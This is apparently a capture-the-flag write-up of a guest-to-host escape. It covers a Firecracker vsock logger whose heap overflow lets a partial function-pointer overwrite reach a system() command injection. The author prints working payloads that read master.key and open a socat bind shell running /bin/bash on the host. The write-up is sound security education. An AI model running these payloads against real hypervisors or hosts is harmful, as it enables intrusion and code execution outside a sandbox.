Hyper jump

Ok, so we have a dump file and a link. The link just leads to a web hosted terminal emulator. Poking around a bit results in some commands someone left in the .ash_history file, as well as a binary named nc-vsock that seems to do exactly what it sounds like. For those of you which don't know what vsock is, I didn't either at this point. Going through the man page, made it slightly clearer. It seems to be a standard way of communicating between guest VMs and host systems. This might be a hint that a vsock may be open on the host to which we can connect, but we need to understand what it leads to on the other end if he wish to execute code on the host.

The dump

Let's see what this dump has to offer. We get a file named dump with no file extension. Running file on it we get:

$ file dump
dump: POSIX tar archive

Ok, so it's simply a tar archive, let's extract it:

tar xvf dump

Looking around at the contents, it looks like a description of a container of some sort. We have multiple layers, where the most interesting one seems to be 2e340193af22daed9a3914489421766238363a8c41279c503b8c7f6cac0eaba4. It simply contains a couple of nested directories, in which we can find the following:

run_fc.sh

Let's take a closer look at the bash script it all seems to start from:

rm v.sock > /dev/null 2>&1
rm v.sock_52 > /dev/null 2>&1

#socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &
./logger &

./firecracker --config-file fire.json --no-api

So in the first two lines we can see vsock pop up again, but here it seems to just make sure we start with a clean state. We then see a commented out line, probably used for debug purposes (or so is the story I take the creator of the challenge is trying to tell), I'll ignore it for now. The only interesting part here really is executing logger in the background.

The Logger

The logger binary is a non-stripped elf, and it contains debug symbols (yay for us!). It seems like we have the logger listening on ./v.sock_52, which is created as a unix socket.

Wait a second... What?! I thought we were talking about AF_VSOCK. Where did this AF_UNIX business come from?! Well from a look at the firecracker github page, it seems like they just use a one to one mapping of unix sockets on the host and vsock sockets on the host. It basically maps the unix socket v.sock_PORT to the vsock PORT on the guest (read more on the firecracker GitHub page: https://github.com/firecracker-microvm/firecracker/blob/main/docs/vsock.md).

Let's have a closer look at rest of the binary, now that we understand how we can communicate with it from within the VM.

It seems like all the logger binary does is wait for a connection on ./v.sock_52, and if it gets one it reads some data from it. The interesting part is when the data is non-empty, in which case it calls use_buf

use_buf

Let's take a look at the use_buf function (taken from the Ghidra decompilation with some of my own slight modification):

void use_buf(char *in_buf, uint32_t fd)
{
    undefined8 uVar1;
    char *buf;
    undefined8 size;
    
    if (_rh) {
        free(_rh);
    }
    _rh = malloc(0x38);
    _rh[0x20] = handler;
    memcpy(_rh, in_buf, (int64_t)(int32_t)*in_buf);
    (**(code **)_rh[0x20])(in_buf);
    uVar1 = strlen(_rh);
    send(fd, _rh, uVar1, 0);
    return;
}

So it seems like we copy our buffer to a heap allocated one and call the handler function, but it doesn't do anything. An interesting function though is log_request, but it has no references:

void log_request(char *request)
{
    int64_t iVar1;
    int64_t in_FS_OFFSET;
    char *req;
    char log_cmd [1034];
    int64_t canary;
    
    iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);

    sprintf(log_cmd, "echo %s >> log.txt", request);
    system(log_cmd);

    if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        __stack_chk_fail();
    }
    return;
}

This looks like a classic command injection! All we have to do is find a way to call this function with our input, and we can just inject a semicolon followed by any command we want.

Looking back at use_buf, it seems like we have a memcpy of up to 255 bytes (we control how many, since it's the value of the first character we pass in) to a buffer that has 0x38 bytes allocated to it. Moreover, we call the address stored at the offset 0x20 right afterwards. We basically have control over the address of the next function called. We don't even need to play around with checksec or ASLR, because of a neet trick: handler is at offset 0x1349, and log_request is at offset 0x1358. Because we are running on x86_64 which is little endian, we can simply override the least significant byte of the address of handler (which is stored at offset 0x20 from _rh) with 0x58 in order to make the address become the address of log_request. All we need to do is override 0x21 bytes, and have the character at offset 0x20 (zero based) of the string be \x58.

Doing it in Practice

According to man vsock, the host always has the cid of 2. Executing the nc-vsock with --help, it seems it simply expects it to use the format ./nc-vsock <cid> <port>. So communicating with the logger would simply be echo <input> | ./nc-vsock 2 52.

Putting it All Together

So a proposed solution for getting the flag would be:

echo -en '\x21;cat master.key ; echo hellohi \x58' | ./nc-vsock 2 52

(It works!!!).

Note: the position in which the \x58 byte appears is critical.

But we can do better. Looking at the run_fc.sh, we can find a commented line that runs socat to make /bin/sh listen on the unix socket ./v.sock_52 (which is mapped to vsock 52 on the host). The command is: socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &. Incorporating it into our input string sound difficult at first, because it's longer than 33 characters, but looking back at use_buf, we can see that only the memcpy uses part of the string, but once we call our function, we pass it all through, so the following should work:

echo -en '\x21;cat master.key ; echo hellohi \x58; socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &' | ./nc-vsock 2 52

We get the flag, but then executing ./nc-vsock 2 52 doesn't give us a shell. The reason is that ./v.sock_52 already exists, so we must remove it first.

Making it Simpler

I personally think that solution looks a bit messy, and it could use some tidying. The first thing I noticed, is the \x21 in ASCII is simply ! and \x58 is simply X. Applying the small change we get:

echo -n '!;rm ./v.sock_52;  echo hellohi X; socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &' | ./nc-vsock 2 52

Now it seems a bit better but we can do more. Because we already have the character X in the rest of the input, we can simply shift it over:

echo -n '! pad; rm ./v.sock_52; socat UNIX-LISTEN:./v.sock_52 EXEC:/bin/bash &' | ./nc-vsock 2 52

Notice we are using the X in UNIX in order to override the last byte of the address with the value 0x58

In my opinion, this looks much better now.

(The web based terminal part of the challenge was down within a couple of days after the CTF ended, and sadly I didn't keep a copy of the flag lying around)